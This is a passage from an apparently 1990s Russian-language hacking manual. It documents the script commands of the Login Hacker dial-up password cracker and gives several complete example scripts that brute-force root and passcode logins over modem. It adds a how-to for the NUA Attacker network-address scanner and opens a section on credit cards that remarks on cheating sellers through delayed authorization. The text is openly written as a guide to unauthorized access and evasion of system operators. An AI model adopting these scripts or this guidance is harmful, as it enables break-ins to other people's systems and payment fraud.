если данные не поступают из модема в течение пяти минут). Если ничего не
получено, то последовательность в потоке данных распознается снова, или в
какой-то момент несущая частота объявляется потерянной.
b
Последовательность данных, которая будет послана в модем после
таймаута.
c
Частота отказов или количество общего времени, в течение которого может
выполняться фатальная команда. Диапазон: от 0 до 255 (0=никогда, 1=первый
раз).
d
Выполнение специальной фатальной команды. Это могут быть любые команды,
исключая: ALARM, WAIT4STRING и IF.
e
Последовательность данных для ожидания. Данные чувствительны к
регистру.
Например: WAIT4STRING(15,^M,2,GOTO(1),ogin:)
В этом примере происходит ожидание последовательности ogin: в течение
15 секунд. Если стыковка не получилась, а каретка возвращается в модем (^M),
то команда снова ждет 15 секунд, пока вновь не наладится стыковка с
последовательностью данных ogin:.
Как только истекут следующие 15 секунд, вызывается фатальная команда,
что означает переход к GOTO с меткой под номером 1.
LOG_SESSION_ON
Начиная с этого пункта, все данные поступающие из модема записываются в
файл регистрации.
Например: LOG_SESSION_ON
LOG_SESSION_OFF
Если содержимое экрана записано в файл регистрации, то к этому пункту
больше не будет обращений.
Например: LOG_SESSION_OFF
SEND(STRING)
Команда SEND передает последовательность данных в модем. Через эту
команду вы можете пересылать в модем переменные со знаком $. В конец
последовательности передается возврат каретки. Если последовательность
данных не задана, то сразу осуществляется переход на возврат каретки.
Например:
SEND(echo Hacked you system Time: $TIME - Date:
$DATE > HACKED.TXT)
В данном примере команда SEND посылает в модем следующую строку:
echo HAcked your system Time: 23:00 - Date: 24-12-95 > HACKED.TXT
SEND_()
Эта команда аналогична вышеописанной, но она не посылает в модем символ
возврата каретки ^M. Ее можно использовать, если вам нужно загрузить в модем
только один символ или командный режим +++.
Примеры:
SEND_(n)
SEND_(+++)
SEND_NEXT_DIC(NUMBER)
Например: SEND_NEXT_DIC(1)
SEND_DIC(NUMBER)
Переслать текущий словарь в модем.
Например: SEND_DIC(1)
NEXT_DIC(NUMBER)
Переместиться на слово, соответствующее аргументу NUMBER.
Например: NEXT_DIC(1)
SEND_NEXT_BRUTE(NUMBER)
Используя Brute Force Generator, сгенерировать следующую допустимую
последовательность и переслать ее в модем.
Например: SEND_NEXT_BRUTE(1)
SEND_BRUTE(NUMBER)
Переслать в модем текущую последовательность допустимых данных из
словаря Brute Force Generator.
Например: SEND_BRUTE(1)
NEXT_BRUTE(NUMBER)
Сгенерировать следующую допустимую последовательность данных из словаря
Brute Force Generator.
Например: NEXT_BRUTE(1)
IF VARIABLE OPERATOR STRING THEN COMMAND
Команда IF первой версии этой программы не очень гибкая. Синтаксис этой
команды следующий:
IF
Означает равносильность при аргументе =, больше или меньше при
аргументах < или > соответственно и переменную содержащую любую
последовательность слов при аргументе ~. Переменные и последовательности
должны быть дискретными переменными.
Эта команда выполнится в том случае, если будет соблюдено условие TRUE.
Чтобы ее использовать, просмотрите список команд для оператора WAIT4STRING.
Например:
IF STRING~ogin THEN GOTO(3)
То есть, если текущая строка (STRING) содержит дискретную (~)
последовательность данных ogin, то идти (GOTO) к маркеру с номером 3.
EXECUTE(STRING)
Выполнить DOS-программу, а затем запустить скрипт. Вы должны включить
переменные в выполняему строку. Вы также должны выполнить соответствующие
внутренние команды MS DOS. Помните, что перед переменной может стоять знак $
с возможными пробелами позади и впереди самого знака.
Важно: Если вы хотите запустить программу в то время, когда по вашему
скрипту осуществлено соединение, то вы должны использовать драйвер fossil. В
противном случае ваш компьютер зависнет. Поэтому запустите X00.EXE E 2 перед
выполнением программы Login Hacker.
Важно: Чтобы ваша программа не была повреждена, предварительно
сохраните ее в каталоге отличном от исходного.
Примеры:
EXECUTE(C:\SB\VPLAY C:\SB\VOC\HACKED.VOC)
EXECUTE(COPY $LOGFILE C:\HACKED)
ALARM(STRING,COMMAND)
Опасно! Нажимать на спусковой крючок! Если на удаленном компьютере
сработала система защиты, то вы будете активны до тех пор, пока не
выполнится эта команда.
STRING
Последовательность, для которой осуществляется поиск данных с их
последующей передачей в модем.
COMMAND
Эта команда будет выполнена после стыковки. Чтобы ее использовать,
просмотрите листинг команд для WAIT4STRING. Примените эту команду в том
случае, например, если вы взломали BBS, а сисоп вас раскусил и задает глупые
вопросы. После этой команды вы автоматически прервете соединение и
остановите выполнение скрипта.
Например:
ALARM(chat,GOTO(#END))
SET VARIABLE=STRING
Этой командой вы определяете переменную в секции #START или #NOCARRIER.
Если переменная является статической переменной, то вы должны это отметить.
Вы должны устанавливать только следующие переменные: STRING, DIAL_TRIED,
LOGIN_TRIED, S_TMP и D_TMP.
Например:
SET D_TMP=3
Определить статическую переменную D_TMP в качестве 3.
INC(DIGIT_VARIABLE)
Увеличить число указанной переменной на 1. Эта команда будет выполнена
лишь в том случае, если переменная после дополнения не находится в указанном
диапазоне.
Имеют силу следующие команды: DIAL_TRIES, DIAL_TRIED, LOGIN_TRIES,
LOGIN_TRIED и D_TMP.
Например: INC(D_TMP)
DEC(DIGIT_VARIABLE)
Уменьшить чило указанной переменной на 1. Эта команда будет выполнена
лишь в том случае, если переменная после вычитания не будет находиться вне
указанного диапазона.
Имеют силу следующие команды: DIAL_TRIES, DIAL_TRIED, LOGIN_TRIES,
LOGIN_TRIED и D_TMP.
Например:
DEC(D_TMP)
WAIT(NUMBER)
Ожидать до тех пор, пока идут секунды, определенные аргументом NUMBER.
Аргумент NUMBER соответствует любому числу в диапазоне от 1 до 65535.
Например: WAIT(10) (десять секунд)
WAIT_(NUMBER)
Ожидать до тех пор, пока идут миллисекунды, определенные аргументом
NUMBER. Аргумент NUMBER соответствует любому числу в диапазоне от 1 до
65535.
Например: WAIT(500) (полсекунды)
BEEP
Создает сигнал, похожий на легкий звук бибикалки!
Переменные и управляющие символы
Речь идет о переменных, которые могут быть использованы в командах
SEND() или LOG(). Как уже отмечалось, закачка переменных в модем или файл
регистрации определяется символом $ (доллара), поставленным перед
соответствующей переменной, и пробелами. Вы можете использовать #DEFINE
любые специфические переменные. Вам их нужно только определить.
STRING
Символы пересылаются из модема в последнюю строку.
STRING2
Последние 250 символов отправляются из модема.
DIAL_TRIED
Фактические попытки набора номера.
LOGIN_TRIED
Фактические попытки получить имя и пароль.
TIME
Действительное время в часах и минутах (двоеточие пропускается).
Например, TIME=1505 означает 15:05.
DATE
Текущая дата в формате MMDD. Например, DATE=503 означает 3 мая.
DIC(1)
Текущий загруженный словарь 1.
BRUTE(2)
Текущая строка словаря Brute Force Generator 2.
S_TMP
Переменная строка. Вы можете ее использовать, как вам нравится.
D_TMP
Переменная для цифр. Вы можете ее использовать, как вам нравится.
В командах IF и SET вы можете использовать исключительно вышеописанные
переменные. Переменные из #DEFINE исключаются. Только статические переменные
и константы приемлемы для IF! Не нужно также использовать знак $ перед
переменной. Этот знак допустим только в командах SEND, LOG и WAIT4STRING.
Например:
IF TIME>1215 THEN GOTO #END
(отсоединиться после 12:15).
LOG($DIC(3))
SEND($S_TMP)
Теперь относительно спецсимволов. Вы можете записывать любые
управляющие символы вместе с командами LOG, SEND или WAIT4STRING через знак
^ (шапочка). Это означает, что вы можете ввести, например, ^M или написать
^^ ... окей?, или использовать любые конструкции от ^A до ^Z плюс ^[ ^\ ^] и
^^.
Например:
SEND_(^D)
#DEFINE
<определения>
#NOCARRIER
<некоторые команды>
#START
<ваш алгоритм>
#END
Сообщения об ошибках
Если в процессе компиляции вы получаете сообщение об ошибке, то
помните, что в вашем распоряжении имеется файл
внимательно изучите содержимое этого файла.
При компилировании скрипта может всплыть только два сообщения об
ошибке:
WARNING
Вы что-то не так скомпилировали. Компилятор в любом случае создаст
скрипт, который может запуститься без всяких проблем. Это сообщение,
например, может быть выдано, если невозможно найти указанный словарь.
Возможно, что вы не полностью подготовили копию.
ERROR
Это критическая ошибка. В какой-то момент компилятор прервал
необходимую процедуру завершения. Для исправления этой ошибки проверьте файл
с расширением .BAK и ваш исходный файл.
Пример стандартного скрипта
#DEFINE
PHONE_NR=,
LOGFILE=lh&scave.log
DIC(1)=d:\project\hack\word\badpws.dic
; задайте корректный путь к вашему словарю
#NOCARRIER
IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
LOG(Carrier lost on $DATE at $TIME)
LOG()
GOTO(#START)
#START
SET S_TMP=UNDEFINE
;SET S_TMP=DEFINE
HANGUP
LOG_SESSION_ON
SET STRING2=
IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s pickup.scr)
IF S_TMP=UNDEFINE THEN SEND(AT H1)
EXECUTE(scavenge.exe /nooutput /s thc&scav.scr)
:111
SEND(ATD)
SET D_TMP=0
:112
WAIT(1)
INC(D_TMP)
IF D_TMP>50 THEN GOTO(99)
CHECK4CARRIER(112)
SEND()
; послать возврат каретки после соединения
:1
WAIT(1)
IF STRING2~assw THEN GOTO(2)
GOTO(1)
:2
SEND_NEXT_DIC(1)
WAIT(2)
IF STRING2~ncorr THEN GOTO(3)
GOTO(50)
:3
SET STRING2=
:4
WAIT(1)
IF STRING2~assw THEN GOTO(5)
GOTO(4)
:5
SEND_NEXT_DIC(1)
WAIT(2)
IF STRING2~ncorr THEN GOTO(6)
GOTO(50)
:6
SET STRING2=
:7
WAIT(1)
IF STRING2~assw THEN GOTO(8)
GOTO(7)
:8
SEND_NEXT_DIC(1)
WAIT4STRING(10,,1,GOTO(50),ncorr)
GOTO(99)
:50
BEEP
BEEP
BEEP
LOG(------------- -----------------)---- -------------------)
LOG($DATE $TIME)
LOG()
LOG(PASSWORD: $DIC(1))
LOG()
GOTO(150)
:99
CHECK4CARRIER(OFF)
IF S_TMP=UNDEFINE THEN GOTO(#START)
EXECUTE(scavenge.exe /s rebreak.scr)
; создание скрипта для перенабора номера и дозвона до цели
GOTO(111)
:150
IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr)
GOTO(#END)
#END
Первый пример скрипта
Системный дескриптор: UNIX на F.
Но вы никогда не должны это делать.
#DEFINE
LOGFILE=C:\OUTPUT\NY-SYS5.LOG
PHONE_NR=I dont tell you ;)
DIAL_TRIES=3
LOGIN_TRIES=0
DIC(1)=C:\HACKING\DICTIONA.RY\BAD_PWS.DIC
#NOCARRIER
BEEP
BEEP
BEEP
LOG(NO CARRIER)
LOG(ON $DATE $TIME)
LOG(AT $DIC(1))
LOG()
GOTO(#START)
#START
LOG(------------------------- -----)---- -------------------)
LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
LOG()
:1
LOG(Dialing ...)
DIAL
LOG($STRING)
LOG_SESSION_ON
SEND()
SEND()
WAIT4STRING(15,^M,4,GOTO(1),name)
SEND( )
LOG_SESSION_OFF
:2
SEND(CONNECT HACK.THIS.SYSTEM.EDU)
:3
WAIT4STRING(30,^C,1,GOTO(2),ogin:)
SEND(root)
WAIT4STRING(20,^D,1,GOTO(2),assword:)
SEND_NEXT_DIC(1)
IF STRING~ogin: THEN GOTO(3)
IF STRING~refused THEN GOTO(2)
LOG()
LOG($STRING)
LOG()
LOG(!!!!! WE GOT THROUGH !!!!!!)
LOG(Login : root)
LOG(Password : $DIC(1))
LOG()
BEEP
BEEP
BEEP
BEEP
BEEP
HANGUP
GOTO(#END)
#END
Второй пример скрипта
#DEFINE
INIT_MODEM=AT&N15
INIT_DATA=7E1
LOGFILE=C:\OUTPUT\TELEKOM4.LOG
PHONE_NR=I dont tell you ;)
DIAL_TRIES=3
LOGIN_TRIES=0
BRUTE(1)=1,1,1,12
#NOCARRIER
BEEP
BEEP
BEEP
LOG(NO CARRIER)
LOG(ON $DATE $TIME)
LOG(AT $BRUTE(1))
LOG()
GOTO(#START)
#START
LOG(-----------------------------------)---- ---------------)
LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
LOG()
:1
LOG(Dialing ...)
HANGUP
DIAL
LOG($STRING)
WAIT4STRING(15,^M,4,GOTO(1),PA)
:2
SEND_NEXT_BRUTE(1)
WAIT4STRING(3,^M,2,GOTO(3),PA)
GOTO(2)
:3
LOG_SESSION_ON
SEND()
SEND(?)
SEND(HELP)
SEND(HILFE)
LOG()
LOG(!!!!! WE GOT THROUGH !!!!!!)
LOG(Password : $BRUTE(1))
LOG()
BEEP
BEEP
BEEP
BEEP
BEEP
HANGUP
GOTO(#END)
#END
Третий пример скрипта
Этот скрипт может быть использован на некоторых небесплатных телефонных
линиях 0130-xxxxxx.
; Система требует пароль
; Неограниченное количество попыток позволяет войти в систему
;
; 30xCrLf
; PASSCODE:*****
;
#DEFINE
INIT_MODEM=AT &F L2
INIT_DATA=8N1
LOGFILE=xxxxxx.LOG
PHONE_NR=0130xxxxxx
DIAL_TRIES=5
LOGIN_TRIES=0
DIC(1)=C:\2\thc-lh09\w1.w
#NOCARRIER
BEEP
BEEP
BEEP
LOG(NO CARRIER)
LOG(ON $DATE $TIME)
LOG(AT $DIC(1))
LOG()
GOTO(#START)
#START
LOG(------------------- ---------)---- -------------)
LOG(TARGET : $PHONE_NR ON $DATE - $TIME)
LOG()
:1
LOG(Dialing ...)
HANGUP
DIAL
LOG($STRING)
WAIT4STRING(30,.^M,3,GOTO(1),PASS)
:2
set string=
SEND_NEXT_DIC(1)
wait(1)
LOG($DIC(1))
; да, регистрироваться с каждой попытки!
WAIT4STRING(15,.^M,3,GOTO(3),PASS)
GOTO(2)
:3
LOG_SESSION_ON
SEND()
SEND(?)
SEND(HELP)
SEND()
LOG()
LOG(!!!!! WE GOT THROUGH !!!!!!)
LOG(Password : $DIC(1))
LOG()
BEEP
BEEP
BEEP
BEEP
BEEP
HANGUP
GOTO(#END)
#END
Четвертый пример скрипта
Это скрипт предназначен исключительно для платформ Telnet.
#DEFINE
init_modem=z
init_data=8n1
LOGFILE=xxxxxx.log
PHONE_NR=xxxxxx
DIAL_TRIES=0
LOGIN_TRIES=0
DIC(1)=D:\hackusr\dictbig.txt
;dic(2)=d:\hackusr\bigdict2.txt
;dic(3)=d:\hackusr\bigdict3.txt
#NOCARRIER
LOG(NO CARRIER)
LOG(ON $DATE $TIME)
LOG(AT $DIC(1))
LOG(returning ...)
GOTO(#START)
#START
HANGUP
LOG_SESSION_ON
LOG()
log()
log( HaCK ATTeMPT STaRTeD ......)
log()
log( TaRGeT: $PHONE_NR )
log( DaTe: $DATE )
log( TiMe: $TIME)
log()
log()
log( ......DiaLiNG)
dial
log()
log( ......CoNNeCTeD!)
log()
log()
wait(5)
:1
wait4string(1,^M,5,goto(#start),sername>)
send(fh65)
:2
wait4string(1,^M,5,goto(#start),ocal>)
send(connect 189.25.56.7)
:3
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait4string(1,^C,5,goto(4),ogin:)
send(root)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
:4
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait4string(1,^D,5,goto(4),assword:)
send_next_dic(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
:5
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
:6
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
wait(1)
if string~sconnected then goto(2)
if string~ncorrect then goto(3)
:7
beep
beep
beep
beep
beep
beep
beep
beep
beep
log()
log()
log()
Log(...... HaCK ATTeMPT WaS SuCCeSSFuLL!!!!!!!!!!!!!!)
log()
log( TaRGeT: $PHONE_NR DaTe: $DATE TiMe: $TIME)
log()
log()
log()
log( ACCouNT: root)
log( PaSSWoRD: DIC(1))
log()
log()
log()
#END
Сканирование адресов пользователей
Операции по сканированию сетевых адресов мы разберем на основе весьма
известной программы Network User Address Attacker. Эта программа известного
сообщества P/H/A. NUA Attacker написан на Turbo C 2.0 хакером Доктором
Диссектором. Network User Address Attacker сканирует клавишную панель
SprintNet. При этом программа способна распознать ошибки кодов на SprintNet
и других типах соединений. Каждый отсканированный сетевой адрес может
зарегистрироваться под logfile с описанием возвращенного кода ошибки или
краткой суммой данных главной системы. Таким образом, программа
дозванивается до Net и сканирует сетевые адреса пользователей. Диапазон
сканирования задается атакующим. Кроме этого, в прилагаемом к программе
файле SND390.TXT имеется список некоторых модемных телефонных номеров. Вы
можете, конечно, использовать только известный вам номер, то есть тот номер,
который наиболее близко соответствует вашему региону.
Эта программа может быть наиболее полезной при поиске сетей с
коммутирующими пакетами или на основе UNIX. Автор этой программы надеется,
что любые ошибки, найденные в ней, будут переданы через сообщество P/H/A
хакерам Доктору Диссектору, Темному Шлему, Корейцу Подавителю или Анонимному
Анархисту.
Файлы программы
NUAA.EXE
Программа NUA Attacker.
NUAA.DOC
Документация
README.PHA
Прочтите это сначала!
SND390.TXT
Список телефонных номеров Net.
NUAA.CFG
Отчет о текущей атаке и конфигурации модема.
NUAFILE.PHA
Список сетевых адресов пользователей.
LOGFILE.PHA
Список сетевых адресов пользователей, составленных атакующим. В этом
файле также содержатся коды ответа NUA, полученные атакующим.
Файлы NUAfile и Logfile могут модифицироваться. Файлы NUAFILE.PHA и
LOGFILE.PHA -- это обыкновенные текстовые файлы, вы можете редактировать их
в любом текстовом редакторе. Кроме того, если файл уже существует, то любые
данные добавятся к тому имени файла, которые существуют в файле с меткой
EOF.
Запуск программы
Для запуска NUA Attacker введите с вашей консоли следующее:
C:\ >NUAA [/I]
Параметр /I позволяет вам начать выполнение программы без инициализации
модема перед сканированием адресов. В этом случае, когда вы выберите команду
Begin attack (Начать нападение), NUA Attacker сразу начнет сканирование
адресов (если вы предварительно зарегистрировались в системе, то теперь вы
снова должны зарегистрироваться на Net через приглашение @).
Настройка режима сканирования
Настройка сканирования адресов осуществляется через команду Setup
attack. В появившемся диалоговом окне выполните настройку следующих опций.
Phone Number
Телефонный номер Net (SND390.TXT).
Starting NUA
Начальный сетевой адрес пользователя.
Ending NUA
Конечный сетевой адрес пользователя.
Timeout
Время ожидания ответа от сетевого адреса пользователя.
Log filename
Имя файла, в который будут выводится сообщения об ошибках и информация
о неудачных попытках соединения.
NUA filename
Имя файла, в который будут выводится сетевые адреса пользователей (по
умолчанию это файл NUAFILE.PHA).
Decimals
Включить или отключить режим десятичного сканирования.
Пользователи Net используют сетевые адреса в формате XXXXXX.XX. NUA
Attacker поддерживает сканирование десятичных чисел.
Например, если вы настроите эту опцию так:
Starting NUA: 619100.10
Ending NUA: 619200.10
то программа начнет сканирование с 619100.10, следующий адрес
сканирования соответствует 619100.11, затем пойдет 619100.12 и так далее.
При настройке сканирования вы можете воспользоваться следующими
горячими клавишами:
ESC
Выйти из диалогового окна Setup attack без сохранения модифицированных
параметров.
LT-S
Сохранить модифицированные параметры в память компьютера.
После того, как вы выполните настройку сканирования, вы можете также
сохранить ее на диск выбрав из меню File команду Save options. При этом
сохранятся и все модифицированные параметры настроек модема.
Несколько слов по поводу формата сетевого адреса
Допустим, что вы произвели настройку так:
Starting NUA: 6191 *WRONG*
Ending NUA: 619100 *RIGHT*
Это означает, что сканирование проходит в диапазоне с 6191 по 6199 с
пропуском 6200. Поэтому вы должны настроить параметры сканирования так:
Starting NUA: 619001 *RIGHT*
Ending NUA: 619100 *RIGHT*
То есть, оба числовых поля должны иметь одинаковую длину.
Настройка модема
Настройка модема осуществляется через диалоговое окно Modem parameters.
COM Port
Порт, который использует ваш модем.
Baud Rate
Скорость передачи данных в бодах
(например, 9600).
Initialization
Инициализация терминальной строки перед началом сканирования. Эта опция
также поддерживает Hayes-совместимые модемы.
Dial Prefix
Префикс перед телефонным номером.
Dial Suffix
Символ, который будет стоять после телефонного номера. Этот символ
прошивает ваш модем соответствующим параметром.
Hangup
Прервать последовательность передаваемых данных.
Процесс сканирования
Выберите опцию Begin attack. После этого произойдет следующее:
1. Инициализация модема.
2. Набор номера Net. Этот номер соответствует настройкам, произведенным
в диалоговом окне Setup attack.
3. Ожидание приглашения TERMINAL= и загрузка параметра D1. Параметр D1
означает, что ваш компьютер вошел в сеть.
4. Ожидание приглашения @.
5. Сканирование. Сканирование соответствует параметру Starting NUA
диалогового окна Setup attack.
После того, как сканирование сетевых адресов закончится, NUA Attacker
выйдет из сети.
В процессе сканирования вы можете воспользоваться следующими горячими
клавишами:
ALT-B
Передать в Net сигнал, соответствующий прерыванию соединения.
ALT-H
Повесить трубку. В этом случае программа начнет работать в режиме
Pause.
ALT-X
Повесить трубку, выйти и прекратить атаку.
ESC
Временно остановить процесс сканирования.
В процессе нападения на экране вашего монитора будут появляться
следующие сообщения:
Starting NUA
Сетевой адрес, который программа начинает сканировать.
Ending NUA
Отсканированный сетевой адрес.
Connections
Количество соединений, найденное в текущем сканировании.
Current NUA
Сетевой адрес, который программа отсканировала в данный момент времени.
Log
Logfile.
NUA
NUAfile.
Time/Elapsed
Текущее время и время сканирования.
Status
Код соединения и/или соответствующая информация о состоянии модема.
Last
Код последнего соединения и/или соответствующая информация о состоянии
модема.
В диалоговом окне Setup attack обратите внимание на переключатель в Bad
Pad. Если выбрана опция Y, это означает, что программа посылает в сеть
строку 10
появится приглашение @ или TERMINAL=. (то есть, до непосредственной
регистрации на Net). Некоторые клавиатуры медленно реагируют на регистрацию
в сети. Особенно это относится к высоким скоростям. Поэтому, если вы не
можете зарегистрироваться, активизируйте параметр Y.
Кредитные карточки и Internet
Пересылая номер кредитной карточки через Internet, он попадает к
продавцу, который производит так называемую авторизацию (происходит связь с
организацией, ответственной за обработку транзакций). В случае
положительного ответа на запрос, необходимая сумма денег резервируется,
заказанный товар отправляется покупателю, затем деньги снимаются со
специального банковского счета и перечисляются на счет продавца.
Понятно, что если авторизация не будет осуществлена немедленно, то
покупатель может обмануть продавца путем нескольких заказов подряд у
сторонних продавцов.
Проблема немедленной авторизации в Internet пока еще полностью не
решена (многие фирмы используют обыкновенный модем для связи с процессором,
каждый из которых, имеет, как правило, разный формат сообщений).
В настоящее время кредитные карточки и Internet тесно связаны с фирмой
CyberCash (http://www.cybercash.com). CyberCash через Public Key
Cryptography шифрует всю конфиденциальную информацию, касающуюся кредитной
карточки, связь с процессорами осуществляется с помощью так называемого
центрального интерфейса CyberCash Gateway, покупатель инсталлирует на свой
компьютер программу CyberCash Wallet, которая в зашифрованном виде хранит
номер кредитной карточки, продавец осуществляет свою деятельность